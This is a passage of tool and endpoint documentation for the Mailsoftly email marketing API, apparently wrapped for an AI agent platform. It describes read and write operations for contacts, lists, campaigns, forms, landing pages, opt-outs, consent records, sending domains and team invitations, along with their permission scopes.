full HTML, so it can be pasted into a campaign body or edited and written back with update_custom_block. Pass custom_block_id from list_custom_blocks. A block that belongs to another account answers 404. GET /api/v1/mailsoftly/api/v3/get_custom_block. Scopes: campaigns:read. mailsoftly_get_api_v3_get_custom_fields (read) — List all custom fields. GET /api/v3/get_custom_fields. Returns all custom fields defined for contacts in your account. Custom fields are key-value pairs where the key is the field name and the value is the field type (currently always "string"). GET /api/v1/mailsoftly/api/v3/get_custom_fields. Scopes: contacts:read. mailsoftly_get_api_v3_get_email_senders (read) — List verified email senders. GET /api/v3/get_email_senders. Returns all verified sender email addresses (from, reply_to, status). GET /api/v1/mailsoftly/api/v3/get_email_senders. Scopes: account:read. mailsoftly_get_api_v3_get_email_template (read) — Get a single email template. GET /api/v3/get_email_template. Returns details of a single email template by ID. GET /api/v1/mailsoftly/api/v3/get_email_template. Scopes: campaigns:read. mailsoftly_get_api_v3_get_email_templates (read) — List email templates. GET /api/v3/get_email_templates. Returns all email templates in your account (id, name, subject, editor type, privacy setting). GET /api/v1/mailsoftly/api/v3/get_email_templates. Scopes: campaigns:read. mailsoftly_get_api_v3_get_email_types (read) — List email types. GET /api/v3/get_email_types. Lists the subscription categories (email types) contacts choose on the preference page, with the list each one feeds. GET /api/v1/mailsoftly/api/v3/get_email_types. Scopes: contacts:read. mailsoftly_get_api_v3_get_endpoints (read) — List webhook endpoints. GET /api/v3/get_endpoints. Returns all user-created webhook endpoints for receiving external data. GET /api/v1/mailsoftly/api/v3/get_endpoints. Scopes: account:read. mailsoftly_get_api_v3_get_form (read) — Get a single form. GET /api/v3/get_form. Returns details of a form including submission count and embed token. GET /api/v1/mailsoftly/api/v3/get_form. Scopes: contacts:read. mailsoftly_get_api_v3_get_form_responses (read) — List form submissions. GET /api/v3/get_form_responses. Returns all submissions for a specific form. GET /api/v1/mailsoftly/api/v3/get_form_responses. Scopes: contacts:read. mailsoftly_get_api_v3_get_forms (read) — List forms. GET /api/v3/get_forms. Returns all signup and subscription forms (id, name, token, status). GET /api/v1/mailsoftly/api/v3/get_forms. Scopes: contacts:read. mailsoftly_get_api_v3_get_import (read) — Get one import and its progress. GET /api/v3/get_import. Reads one contact import in this account by id: its status, how many rows it carries, how many have been processed, the success and failure counts and the first lines of any error report. It follows an import started with import_contacts. GET /api/v1/mailsoftly/api/v3/get_import. Scopes: contacts:read. mailsoftly_get_api_v3_get_integrations (read) — List active integrations. GET /api/v3/get_integrations. Returns all active third-party integrations (Shopify, Zapier, etc.). GET /api/v1/mailsoftly/api/v3/get_integrations. Scopes: account:read. mailsoftly_get_api_v3_get_iys_summary (read) — Get the registry filing status. GET /api/v3/get_iys_summary. The filing figures for a national consent registry: how many contacts count as consent rows, how many opt-out rows exist, how many of those opt-outs have not been filed yet, how many contacts are marked as businesses, and when the consent and opt-out files were last produced. Türkiye is the region this serves: İYS, the commercial message registry, where consents are ONAY rows and opt-outs are RET rows. Read only: it files nothing and produces no file. GET /api/v1/mailsoftly/api/v3/get_iys_summary. Scopes: contacts:read. mailsoftly_get_api_v3_get_opt_outs (read) — List opt-out records. GET /api/v3/get_opt_outs. Every address that opted out of this account's mail, with the date it happened and how far the opt-out reaches. CAN-SPAM gives you ten business days to honor one, CASL the same, GDPR asks for it right away, and İYS wants the opt-out filed within three business days, so this is the list to mirror into a CRM, a helpdesk or another sending tool. Pass since to pull just what changed and keep the other system in step without walking the whole list. GET /api/v1/mailsoftly/api/v3/get_opt_outs. Scopes: contacts:read. mailsoftly_get_api_v3_get_page (read) — Get a single landing page. GET /api/v3/get_page. Returns details of a landing page including its public URL and stats. GET /api/v1/mailsoftly/api/v3/get_page. Scopes: campaigns:read. mailsoftly_get_api_v3_get_pages (read) — List landing pages. GET /api/v3/get_pages. Returns all landing pages (id, name, token, status, publish date). GET /api/v1/mailsoftly/api/v3/get_pages. Scopes: campaigns:read. mailsoftly_get_api_v3_get_segments (read) — List saved segments. GET /api/v3/get_segments. Returns all saved contact segments/filters for targeted sends. GET /api/v1/mailsoftly/api/v3/get_segments. Scopes: contacts:read. mailsoftly_get_api_v3_get_signatures (read) — List email signatures. GET /api/v3/get_signatures. Returns all email signatures for the account. GET /api/v1/mailsoftly/api/v3/get_signatures. Scopes: account:read. mailsoftly_get_api_v3_get_sms_campaign (read) — Get a single SMS campaign. GET /api/v3/get_sms_campaign. Returns details of an SMS campaign including delivery stats. GET /api/v1/mailsoftly/api/v3/get_sms_campaign. Scopes: campaigns:read. mailsoftly_get_api_v3_get_sms_campaigns (read) — List SMS campaigns. GET /api/v3/get_sms_campaigns. Returns all SMS campaigns (id, name, message, status, sent count). GET /api/v1/mailsoftly/api/v3/get_sms_campaigns. Scopes: campaigns:read. mailsoftly_get_api_v3_get_suppressions (read) — List suppressed emails. GET /api/v3/get_suppressions. Returns all bounced and complained email addresses in the suppression list. GET /api/v1/mailsoftly/api/v3/get_suppressions. Scopes: contacts:read. mailsoftly_get_api_v3_get_tags (read) — List all tags. GET /api/v3/get_tags. Returns all contact tags in your account. Tags are used to categorize and segment contacts. Each tag has a `name` and `color` (in RGB format). Only contact-type tags are returned (not internal tags used for other resources). GET /api/v1/mailsoftly/api/v3/get_tags. Scopes: contacts:read. mailsoftly_get_api_v3_get_team_members (read) — List team members. GET /api/v3/get_team_members. Returns all team members/users in your account (name, email, role). GET /api/v1/mailsoftly/api/v3/get_team_members. Scopes: account:read. mailsoftly_get_api_v3_list_api_keys (read) — List the account's API keys. GET /api/v3/list_api_keys. Lists the API keys issued for this account, showing which integrations still hold one and which are about to lapse. Takes no parameters and returns the name, the first characters of the key, the permissions it carries, when it was created and last used, when it expires and whether it already has. The key value itself is not returned by the API. GET /api/v1/mailsoftly/api/v3/list_api_keys. Scopes: account:read. mailsoftly_get_api_v3_list_audit_events (read) — List the account's audit trail. GET /api/v3/list_audit_events. Returns the append-only record of who changed what about this workspace: invitations sent, accepted and revoked, role changes, ownership transfers, people removed or deactivated, domain settings changed and contact imports and exports. Newest first, paged, and filterable to one action. Rows carry the actor, what was touched and a small metadata object; they carry no addresses and no credentials. GET /api/v1/mailsoftly/api/v3/list_audit_events. Scopes: account:read. mailsoftly_get_api_v3_list_campaigns (read) — List campaigns. GET /api/v3/list_campaigns. Page through the account's campaigns, newest first: id, name, subject, status (draft, review, sending, sent,...), recipients, send_date and headline counters. Filter with status and search with q. GET /api/v1/mailsoftly/api/v3/list_campaigns. Scopes: campaigns:read. mailsoftly_get_api_v3_list_connected_apps (read) — List connected apps. GET /api/v3/list_connected_apps. Lists the third-party apps that currently hold access to this account, the way the Connected apps screen shows them. Takes no parameters and returns one row per app with the permissions it was granted, who approved it and when. Connections are cut in the app under Settings > Connected apps. GET /api/v1/mailsoftly/api/v3/list_connected_apps. Scopes: account:read. mailsoftly_get_api_v3_list_custom_blocks (read) — List saved content blocks. GET /api/v3/list_custom_blocks. Lists the reusable HTML blocks saved in this account, most recently updated first. Each row carries the name, who saved it, whether it is shared with other accounts and a short plain text preview of its HTML. Fetch the full HTML of one block with get_custom_block. GET /api/v1/mailsoftly/api/v3/list_custom_blocks. Scopes: campaigns:read. mailsoftly_get_api_v3_list_domain_health_checks (read) — List saved domain health checks. GET /api/v3/list_domain_health_checks. Lists the domains this account has checked, newest check first. Takes no parameters and returns the SPF and DMARC readings, whether the domain shows up on public blocklists, when the check ran and who ran it. Each row is the stored result of the last run, not a live reading; run_domain_health_check refreshes one. GET /api/v1/mailsoftly/api/v3/list_domain_health_checks. Scopes: account:read. mailsoftly_get_api_v3_list_domains (read) — List sending domains. GET /api/v3/list_domains. Lists the account's sending domains with a public verification_status (pending_records, checking, verified, failed), the DNS records to add as {type, host, value}, and the setup page url. A verified domain unlocks senders on its addresses. GET /api/v1/mailsoftly/api/v3/list_domains. Scopes: account:read. mailsoftly_get_api_v3_list_files (read) — List hosted files. GET /api/v3/list_files. Lists the files this account has uploaded to its File Gallery, newest first. A campaign does not carry the file itself: it is hosted once and the campaign links to it, so every row carries the public_url an email links to plus a public_view_url for the branded viewer page. Filter with q (matches the stored filename and the title), folder_id and kind, and read the folder list and the storage total from the same response. GET /api/v1/mailsoftly/api/v3/list_files. Scopes: campaigns:read. mailsoftly_get_api_v3_list_images (read) — List the image library. GET /api/v3/list_images. Lists the images this account has uploaded for its email and page editors, newest first, with the public URL campaign HTML uses as an image src. Each row carries the original filename, the title and the alt text, plus the folder it is filed in when it has one. Filter with folder_id, or with q to match a filename. GET /api/v1/mailsoftly/api/v3/list_images. Scopes: campaigns:read. mailsoftly_get_api_v3_list_imports (read) — List contact imports. GET /api/v3/list_imports. Lists the contact imports in this account, newest first, with the same progress fields get_import returns. Filter to one list with contact_list_id. It carries the import id of a recent import when that id is not at hand. GET /api/v1/mailsoftly/api/v3/list_imports. Scopes: contacts:read. mailsoftly_get_api_v3_list_pending_invitations (read) — List pending invitations. GET /api/v3/list_pending_invitations. Lists the people who have been invited to this workspace but have not accepted yet. Takes no parameters and returns one row per invitation with the id, address, role, when it was sent and who sent it. It shows whether somebody has an invitation open already, and carries the user_id revoke_invitation needs. GET /api/v1/mailsoftly/api/v3/list_pending_invitations. Scopes: account:read. mailsoftly_get_api_v3_list_reply_to_addresses (read) — List reply-to addresses. GET /api/v3/list_reply_to_addresses. Lists the reply-to addresses registered on the account and whether each is verified. GET /api/v1/mailsoftly/api/v3/list_reply_to_addresses. Scopes: account:read. mailsoftly_get_api_v3_list_senders (read) — List available senders. GET /api/v3/list_senders. Returns every from address the account can send a campaign from, in the order the in-app sender picker shows them, plus the sender the account falls back to. Every entry carries `usable_as`, naming the `POST /create_emails` parameter that selects it. Pass exactly one of `sender_id` or `email_sender_id` there; both together is rejected. Entry kinds: `user`: a teammate whose email sits on a domain this account has authenticated. Selected with `sender_id`. `gmail_mailbox` / `outlook_mailbox`: a connected Gmail or Microsoft mailbox, selected with `email_sender_id`. GET /api/v1/mailsoftly/api/v3/list_senders. Scopes: account:read. mailsoftly_get_api_v3_preview_campaign_audience (read) — Preview who a campaign would go to. GET /api/v3/preview_campaign_audience. Who a campaign would actually reach if it went out now: which list or segment it targets, how many contacts that holds, how many of them are eligible recipients once suppressed, unsubscribed and opted out addresses are removed, the difference between the two, and up to five example recipients. Pass the campaign id from list_campaigns. A campaign with no list or segment attached comes back with source 'none' and a note. GET /api/v1/mailsoftly/api/v3/preview_campaign_audience. Scopes: campaigns:read. mailsoftly_get_api_v3_search_contacts (read) — Search contacts. GET /api/v3/search_contacts. Search for contacts by exact match on `email`, `first_name`, or `last_name`. All search parameters use exact matching (not partial/fuzzy). Returns matching contacts with basic fields (id, first_name, last_name, email, source). Pass `page`/`per_page` (up to 500) to add `page`, `per_page`, `total` and `has_more` to the response; without them matches are capped at 10,000 rows with an `X-Total-Count` header. GET /api/v1/mailsoftly/api/v3/search_contacts. Scopes: contacts:read. mailsoftly_post_api_v3_add_campaign_attachment (write) — Attach a file to a draft campaign. POST /api/v3/add_campaign_attachment. Attaches one file to a campaign that is still a draft. The file is sent inline as base64 in content_base64, so this is best for small files; filename must end in one of pdf, doc, docx, xls, xlsx, ppt, pptx, csv, txt, png, jpg, jpeg, gif, zip or ics. The account must have attachments enabled, and everything attached to one campaign has to stay inside the account's total attachment size. Returns the new attachment and the campaign's full attachment list. POST /api/v1/mailsoftly/api/v3/add_campaign_attachment. Scopes: campaigns:draft. mailsoftly_post_api_v3_add_contact_note (write) — Write a note on a contact. POST /api/v3/add_contact_note. Records a plain text note on one contact, the same note the account's team sees on the contact page and the same note get_contact_activity returns. Needs the contact id and the text, up to 5000 characters; an optional ISO8601 date backdates the note to when the conversation actually happened. The note is attributed to the connected teammate. POST /api/v1/mailsoftly/api/v3/add_contact_note. Scopes: contacts:write. mailsoftly_post_api_v3_add_contact_to_contact_list (write) — Add a single contact to a list. POST /api/v3/add_contact_to_contact_list. Adds an existing contact to an existing contact list. If the contact is already in the list, returns an info message (not an error). POST /api/v1/mailsoftly/api/v3/add_contact_to_contact_list. Scopes: contacts:write. mailsoftly_post_api_v3_add_contacts_to_contact_list (write) — Add multiple contacts to a list. POST /api/v3/add_contacts_to_contact_list. Adds multiple contacts to a contact list at once. Contacts are matched by email. If a contact with the given email doesn't exist, it will be created. Contacts without an email address are skipped and reported in the `errors` array. A bare email string is accepted in place of an object. POST /api/v1/mailsoftly/api/v3/add_contacts_to_contact_list. Scopes: contacts:write. mailsoftly_post_api_v3_add_custom_field_to_contact (write) — Add a custom field to a contact. POST /api/v3/add_custom_field_to_contact. Sets a custom field value on a contact. If the custom field doesn't exist at the account level, it will be created automatically. Custom fields are stored as JSONB on the contact record. POST /api/v1/mailsoftly/api/v3/add_custom_field_to_contact. Scopes: contacts:write. mailsoftly_post_api_v3_add_domain (write) — Add a sending domain. POST /api/v3/add_domain. Starts domain authentication for a domain the account owns. Returns the DNS records (type, host, value) to add at the DNS host, then verify_domain checks them. Idempotent for an existing domain. POST /api/v1/mailsoftly/api/v3/add_domain. Scopes: campaigns:draft. mailsoftly_post_api_v3_add_global_email_unsubscriber (write) — Globally unsubscribe an email. POST /api/v3/add_global_email_unsubscriber. Globally unsubscribes an email address from all email communications. If a contact with this email doesn't exist, one will be created. This sets: Contact's `email_sending_status` to `unsubscribed` All email preferences to opt-out (campaign, newsletter, unsubscribe_all) POST /api/v1/mailsoftly/api/v3/add_global_email_unsubscriber. Scopes: suppressions:write. mailsoftly_post_api_v3_add_global_sms_unsubscriber (write) — Unsubscribe from SMS. POST /api/v3/add_global_sms_unsubscriber. Globally unsubscribes a contact from all SMS communications. Both `email` and `phone` are required. Phone must be in E.164 format (e.g., `+1234567890`). If a contact with this email doesn't exist, one will be created. POST /api/v1/mailsoftly/api/v3/add_global_sms_unsubscriber. Scopes: suppressions:write. mailsoftly_post_api_v3_assign_tag_to_contact (write) — Assign a tag to a contact. POST /api/v3/assign_tag_to_contact. Assigns a single tag to a contact. You can either: Pass `tag_id` to assign an existing tag, or Pass `tag_name` to find or create a tag by name (optionally with `tag_color`). Tag colors can be in hex format (`#FF0000`) or RGB format (`rgb(255,0,0)`). If no color is provided, the default blue is used. POST /api/v1/mailsoftly/api/v3/assign_tag_to_contact. Scopes: contacts:write. mailsoftly_post_api_v3_assign_tags_to_contact (write) — Assign multiple tags to a contact. POST /api/v3/assign_tags_to_contact. Assigns multiple tags to a contact at once. Tags that do not exist are created. Tags already assigned to the contact are skipped, not duplicated. POST /api/v1/mailsoftly/api/v3/assign_tags_to_contact. Scopes: contacts:write. mailsoftly_post_api_v3_authentication (write) — Verify API credentials. POST /api/v3/authentication. Validates your API access token and returns basic account information. Use this endpoint to verify that your token is valid before making other API calls. POST /api/v1/mailsoftly/api/v3/authentication. Scopes: account:read. mailsoftly_post_api_v3_create_automation (write) — Create an automation. POST /api/v3/create_automation. Creates an automation as a draft with the same vocabulary as the in-app builder: one trigger, optional extra start events, an optional entry filter, and an ordered list of steps that can branch. Nothing runs until the automation is activated with `POST /update_automation_status`. Trigger `trigger.event` picks the start event. Some events need a target field. POST /api/v1/mailsoftly/api/v3/create_automation. Scopes: campaigns:draft. mailsoftly_post_api_v3_create_contact (write) — Create a new contact. POST /api/v3/create_contact. Creates a new contact in your account. The `email` field is required and must be unique within your account. All other fields are optional. Returns the full contact object on success (excluding internal fields). POST /api/v1/mailsoftly/api/v3/create_contact. Scopes: contacts:write. mailsoftly_post_api_v3_create_contact_list (write) — Create a new contact list. POST /api/v3/create_contact_list. Creates a new empty contact list. The add contact endpoints populate it. POST /api/v1/mailsoftly/api/v3/create_contact_list. Scopes: contacts:write. mailsoftly_post_api_v3_create_custom_block (write) — Save a content block. POST /api/v3/create_custom_block. Saves a reusable HTML block (a footer, a header, a promo panel) under a name, so later campaigns can drop it in without rewriting it. Send name and html; is_public defaults to false, which keeps the block inside this account, and true shares it with the wider block gallery other accounts can browse. POST /api/v1/mailsoftly/api/v3/create_custom_block. Scopes: campaigns:draft. mailsoftly_post_api_v3_create_custom_field (write) — Define a custom contact field. POST /api/v3/create_custom_field. Defines a custom contact field (name, type text|number|date|select|multi_select, options for selects). Idempotent for an existing name. Values are then set with add_custom_field_to_contact. POST /api/v1/mailsoftly/api/v3/create_custom_field. Scopes: contacts:write. mailsoftly_post_api_v3_create_email_template (write) — Create an email template. POST /api/v3/create_email_template. Saves a reusable template from complete HTML: name, subject and html. Usable in draft_campaign (template_id) and in automation send_email steps. POST /api/v1/mailsoftly/api/v3/create_email_template. Scopes: campaigns:draft. mailsoftly_post_api_v3_create_email_type (write) — Create an email type. POST /api/v3/create_email_type. Creates a subscription category shown on the preference page; optionally linked to a contact list. POST /api/v1/mailsoftly/api/v3/create_email_type. Scopes: contacts:write. mailsoftly_post_api_v3_create_emails (write) — Create email drafts. POST /api/v3/create_emails. Creates one or more email drafts: a single draft, or several at once through the `mailLists` array. Recipients: exactly one of the following is required: `contact_list_id`: an existing list, OR `recipients`: an array of recipient objects (`{ email, first_name?, last_name? }`). A new contact list named `"List (created via API at YYYY-MM-DD HH:MM:SS)"` is created automatically and its ID is returned in the response as `contact_list_id`. ⚠️ Important: asynchronous list population. With `recipients`, the response returns immediately with an empty auto-created list. POST /api/v1/mailsoftly/api/v3/create_emails. Scopes: campaigns:draft. mailsoftly_post_api_v3_create_endpoint (write) — Create a webhook endpoint. POST /api/v3/create_endpoint. Creates an inbound webhook endpoint and returns its POST url. Any automation with a webhook trigger can start from it. POST /api/v1/mailsoftly/api/v3/create_endpoint. Scopes: contacts:write. mailsoftly_post_api_v3_create_form (write) — Create a signup or lead form. POST /api/v3/create_form. Creates a signup or lead form from a simple field list. Email is always included and required. | field | values | |---|---| | `name` | field name, letters, digits and underscore | | `label` | shown to the visitor (defaults to the name) | | `type` | text, email, textarea, checkbox, select, number, phone | | `required` | true or false | | `options` | for select: the choices | Optional `contact_list_id` adds every submitter to that list; optional `tag_id` tags them. The response carries the fields, the embed token and the short code. POST /api/v1/mailsoftly/api/v3/create_form. Scopes: contacts:write. mailsoftly_post_api_v3_create_landing_page (write) — Create a landing page. POST /api/v3/create_landing_page. Creates a landing page as an unpublished draft from complete HTML in the request. `meta_title` and `meta_description` set the page head; `contact_list_id` turns on lead capture into that list; `goal` (optional) applies the builder's defaults for that goal. The response carries the page's future public URL. Publishing is a separate call, `POST /publish_landing_page`, and needs a verified account. Free accounts that have not verified a sending channel may keep a small number of pages (a `gate` with `level: "plan"` says so). POST /api/v1/mailsoftly/api/v3/create_landing_page. Scopes: campaigns:draft. mailsoftly_post_api_v3_create_or_update_contact (write) — Create or update a contact. POST /api/v3/create_or_update_contact. Creates a new contact or updates an existing one. Important behavior: If `contact_id` is provided, the existing contact with that ID is updated. If `contact_id` is omitted, a new contact is created. This endpoint does NOT upsert by email. Updating an existing contact requires the `contact_id`; without it a new contact is created, which fails if the email already exists. `GET /search_contacts` looks up the ID from an email address, which is then passed here. POST /api/v1/mailsoftly/api/v3/create_or_update_contact. Scopes: contacts:write. mailsoftly_post_api_v3_create_reply_to_address (write) — Add a reply-to address. POST /api/v3/create_reply_to_address. Registers a reply-to address and emails it a one-click verification link. Idempotent; an unverified existing address gets the email again. POST /api/v1/mailsoftly/api/v3/create_reply_to_address. Scopes: campaigns:draft. mailsoftly_post_api_v3_create_segment (write) — Create a segment. POST /api/v3/create_segment. Creates a saved segment from contact-field conditions: {groups: [{join: and|or, conditions: [{field, operator, value}]}]} with the same fields and operators as automation entry filters. The member count is calculated in the background. POST /api/v1/mailsoftly/api/v3/create_segment. Scopes: contacts:write. mailsoftly_post_api_v3_create_sender (write) — Create a sender address. POST /api/v3/create_sender. Creates a from address on a verified domain (from, optional reply_to and display_name). Without a verified domain the response carries the sending gate with the ways to unlock. POST /api/v1/mailsoftly/api/v3/create_sender. Scopes: campaigns:draft. mailsoftly_post_api_v3_create_signature (write) — Create an email signature. POST /api/v3/create_signature. Saves an HTML signature for the connected user. POST /api/v1/mailsoftly/api/v3/create_signature. Scopes: campaigns:draft. mailsoftly_post_api_v3_create_sms_campaign (write) — Create an SMS campaign. POST /api/v3/create_sms_campaign. Creates an SMS campaign draft to a list from a verified sender number, with the estimated credits. Sending is a separate call and goes through review. POST /api/v1/mailsoftly/api/v3/create_sms_campaign. Scopes: campaigns:draft. mailsoftly_post_api_v3_create_tag (write) — Create a tag. POST /api/v3/create_tag. Creates a contact tag, or returns the existing one with that name. POST /api/v1/mailsoftly/api/v3/create_tag. Scopes: contacts:write. mailsoftly_post_api_v3_delete_automation (write) — Delete an automation. POST /api/v3/delete_automation. Deletes an inactive automation and its steps. Deactivate first. POST /api/v1/mailsoftly/api/v3/delete_automation. Scopes: campaigns:draft. mailsoftly_post_api_v3_delete_campaign (write) — Delete an unsent campaign permanently. POST /api/v3/delete_campaign. Permanent, unlike trash_campaign. Only a campaign that has not been sent can be deleted; a sent campaign keeps its reports and can only be trashed. Use it to release a list that delete_contact_list refuses because a draft campaign still targets it. POST /api/v1/mailsoftly/api/v3/delete_campaign. Scopes: campaigns:draft. mailsoftly_post_api_v3_delete_contact (write) — Delete a contact. POST /api/v3/delete_contact. Permanently deletes one contact with its list memberships, tags and activity. Irreversible. To stop mail without losing the record, add a global unsubscribe instead. POST /api/v1/mailsoftly/api/v3/delete_contact. Scopes: contacts:write. mailsoftly_post_api_v3_delete_contact_list (write) — Delete a contact list. POST /api/v3/delete_contact_list. Deletes a list. Its contacts remain in the account. Refused (422) while an automation starts from the list or while any campaign, sent, draft or trashed, still has the list as its audience; the response names those campaigns in `blocking_campaign_ids`. POST /api/v1/mailsoftly/api/v3/delete_contact_list. Scopes: contacts:write. mailsoftly_post_api_v3_delete_custom_block (write) — Delete a content block. POST /api/v3/delete_custom_block. Deletes a saved block for good. Campaigns that already used the block keep the HTML they were built with, since the block is a starting point rather than a live include. Pass custom_block_id from list_custom_blocks. POST /api/v1/mailsoftly/api/v3/delete_custom_block. Scopes: campaigns:draft. mailsoftly_post_api_v3_delete_email_template (write) — Delete an email template. POST /api/v3/delete_email_template. Deletes a template. Refused while an automation step sends it. POST /api/v1/mailsoftly/api/v3/delete_email_template. Scopes: campaigns:draft. mailsoftly_post_api_v3_delete_endpoint (write) — Delete a webhook endpoint. POST /api/v3/delete_endpoint. Deletes an endpoint; its url stops accepting requests. Refused while an automation starts from it. POST /api/v1/mailsoftly/api/v3/delete_endpoint. Scopes: contacts:write. mailsoftly_post_api_v3_delete_file (write) — Remove a file from the gallery. POST /api/v3/delete_file. Takes a file out of the File Gallery and off the storage total. Links that were already sent keep resolving on purpose, so a delivered campaign does not turn into a dead link; the file simply stops appearing in the gallery and in list_files. Pass file_id from list_files. POST /api/v1/mailsoftly/api/v3/delete_file. Scopes: campaigns:draft. mailsoftly_post_api_v3_delete_form (write) — Delete a form. POST /api/v3/delete_form. Deletes a form, its embed and its stored submissions. Contacts it created remain. Refused while an automation starts from it. POST /api/v1/mailsoftly/api/v3/delete_form. Scopes: contacts:write. mailsoftly_post_api_v3_delete_segment (write) — Delete a segment. POST /api/v3/delete_segment. Deletes a custom segment. Contacts are untouched. System segments cannot be deleted. POST /api/v1/mailsoftly/api/v3/delete_segment. Scopes: contacts:write. mailsoftly_post_api_v3_delete_sender (write) — Remove a sender address. POST /api/v3/delete_sender. Deletes a never-used sender, or archives one that campaigns already used (history kept, address reserved). Connected mailboxes are managed in Settings. POST /api/v1/mailsoftly/api/v3/delete_sender. Scopes: campaigns:draft. mailsoftly_post_api_v3_delete_signature (write) — Delete an email signature. POST /api/v3/delete_signature. Deletes a signature belonging to a team member of the account. POST /api/v1/mailsoftly/api/v3/delete_signature. Scopes: campaigns:draft. mailsoftly_post_api_v3_delete_tag (write) — Delete a tag. POST /api/v3/delete_tag. Deletes a tag and removes it from every contact. Refused while an automation starts from it. POST /api/v1/mailsoftly/api/v3/delete_tag. Scopes: contacts:write. mailsoftly_post_api_v3_duplicate_campaign (write) — Copy a campaign into a new draft. POST /api/v3/duplicate_campaign. Copies a campaign, including its subject, body, design, list, from address and file attachments, into a brand new draft. The copy starts clean: no send date, no statistics, no schedule and no A/B subject experiment, so it can be edited and sent on its own. Pass name to title the copy, otherwise it is called Copy_ plus the original name. POST /api/v1/mailsoftly/api/v3/duplicate_campaign. Scopes: campaigns:draft. mailsoftly_post_api_v3_import_contacts (write) — Import contacts from a CSV. POST /api/v3/import_contacts. Imports contacts from a CSV passed as a string in the request body, into an existing list (contact_list_id) or a new one (contact_list_name). Columns are mapped automatically from the header row (email, first name, phone, zip, company and the usual spellings of those), or exactly, by passing `columns` with one entry per CSV column. The CSV must be UTF-8, 5 MB or smaller, and must map exactly one column to email. The import is queued and runs in the background: this returns the import id and the mapping it used, and progress is read back with get_import. POST /api/v1/mailsoftly/api/v3/import_contacts. Scopes: contacts:write. mailsoftly_post_api_v3_invite_team_member (write) — Invite a teammate. POST /api/v3/invite_team_member. Sends an invitation email so a colleague can join this Mailsoftly workspace. Needs the email address and the role to give them, and optionally a first and last name. Only an admin or the workspace owner may invite, the role has to be one this account is allowed to hand out, and the plan seat limit applies: when every seat is in use the call answers 403 with a gate object carrying the message and the upgrade path. Returns the invited person with status 'invited'; they hold no seat until they accept. POST /api/v1/mailsoftly/api/v3/invite_team_member. Scopes: account:write. mailsoftly_post_api_v3_publish_landing_page (write) — Publish or unpublish a landing page. POST /api/v3/publish_landing_page. status published puts the page on the web (needs a verified account); unpublished takes it down. POST /api/v1/mailsoftly/api/v3/publish_landing_page. Scopes: campaigns:draft. mailsoftly_post_api_v3_record_consent (write) — Record a consent. POST /api/v3/record_consent. Writes a dated consent row onto a contact's audit trail, for consent you collected somewhere else: your own signup form, a checkbox in your product, a sign-up sheet at an event. CASL and GDPR ask who consented, when and how, and a contact imported from a spreadsheet arrives without any of that, so this is how the real date and source get onto the record. Pass consented_at to keep the date the consent was actually given; leave it off and the row is dated now. The row appears in get_consent_evidence and on the contact's activity timeline, and it leaves an existing opt-out standing. POST /api/v1/mailsoftly/api/v3/record_consent. Scopes: contacts:write. mailsoftly_post_api_v3_refresh_segment (write) — Recalculate a segment. POST /api/v3/refresh_segment. Recalculates a segment's member count in the background. POST /api/v1/mailsoftly/api/v3/refresh_segment. Scopes: contacts:write. mailsoftly_post_api_v3_remove_campaign_attachment (write) — Remove a file from a draft campaign. POST /api/v3/remove_campaign_attachment. Permanently removes one attached file from a campaign that is still a draft. Pass the attachment id from get_campaign or from add_campaign_attachment. The file is deleted, not archived, and the campaign's remaining attachments come back in the response. POST /api/v1/mailsoftly/api/v3/remove_campaign_attachment. Scopes: campaigns:draft. mailsoftly_post_api_v3_remove_contact_from_contact_list (write) — Remove a contact from a list. POST /api/v3/remove_contact_from_contact_list. Takes one contact off one list. The contact record is untouched. POST /api/v1/mailsoftly/api/v3/remove_contact_from_contact_list. Scopes: contacts:write. mailsoftly_post_api_v3_remove_domain (write) — Archive a sending domain. POST /api/v3/remove_domain. Archives a domain. Refused while active senders still use it. POST /api/v1/mailsoftly/api/v3/remove_domain. Scopes: campaigns:draft. mailsoftly_post_api_v3_remove_global_email_unsubscriber (write) — Resubscribe an email. POST /api/v3/remove_global_email_unsubscriber. Resubscribes a previously unsubscribed email address. The contact must already exist. This sets: Contact's `email_sending_status` to `subscribed` All email preferences back to opt-in POST /api/v1/mailsoftly/api/v3/remove_global_email_unsubscriber. Scopes: suppressions:write. mailsoftly_post_api_v3_remove_global_sms_unsubscriber (write) — Resubscribe to SMS. POST /api/v3/remove_global_sms_unsubscriber. Resubscribes a contact to SMS communications. The contact must already exist. Both `email` and `phone` are required. Phone must be in E.164 format. POST /api/v1/mailsoftly/api/v3/remove_global_sms_unsubscriber. Scopes: suppressions:write. mailsoftly_post_api_v3_remove_tags_from_contact (write) — Remove tags from a contact. POST /api/v3/remove_tags_from_contact. Removes one or more tags from a contact by tag_ids or tag_names. The tags themselves stay defined. POST /api/v1/mailsoftly/api/v3/remove_tags_from_contact. Scopes: contacts:write. mailsoftly_post_api_v3_restore_campaign (write) — Restore a campaign from the trash. POST /api/v3/restore_campaign. Brings a trashed campaign back into the campaign list with its content, audience and results intact. POST /api/v1/mailsoftly/api/v3/restore_campaign. Scopes: campaigns:draft. mailsoftly_post_api_v3_revoke_invitation (write) — Revoke a pending invitation. POST /api/v3/revoke_invitation. Cancels an invitation that has not been accepted, so its link stops working. Takes the user_id from list_pending_invitations. Only an admin or the workspace owner may do it, and only while the invitation is still open: somebody who already accepted holds a seat and is removed on the Team screen instead. This cannot be undone; invite the person again to send a fresh link. POST /api/v1/mailsoftly/api/v3/revoke_invitation. Scopes: account:write. mailsoftly_post_api_v3_run_domain_health_check (write) — Run a domain health check. POST /api/v3/run_domain_health_check. Checks a domain the customer owns against public DNS and public blocklists, then saves the result on the account so list_domain_health_checks can show it. Takes the domain as a hostname such as example.com; a pasted URL is trimmed down to the hostname. Returns the SPF, DMARC and blocklist readings plus the detail lines behind each one. The lookups can take a few seconds; when they cannot finish the call answers 503 and nothing is saved. POST /api/v1/mailsoftly/api/v3/run_domain_health_check. Scopes: campaigns:draft. mailsoftly_post_api_v3_schedule_email (write) — Schedule a campaign. POST /api/v3/schedule_email. Schedule a ready draft for a moment at least 15 minutes ahead (send_at as ISO 8601, time_zone optional, defaults to the account time zone). The sending gate applies exactly as for send_email; the first campaigns of every account pass a content review at send time. Campaigns that send from a connected Google or Microsoft mailbox cannot be scheduled at all: they answer `422` with `gate.reason: "oauth_mailbox_unsupported"`, and `POST /update_email` moves them onto a sending domain or the shared address. Responses carry a `sender` object with the lane, the from address and `authorized`. POST /api/v1/mailsoftly/api/v3/schedule_email. Scopes: campaigns:send. mailsoftly_post_api_v3_send_email (write) — Send an email draft. POST /api/v3/send_email. NOTE: Mailsoftly answers a success status here even when it did NOT carry the request out, naming the state in a `gate` object; Agentic Fabriq raises that as an error with the reason rather than reporting a 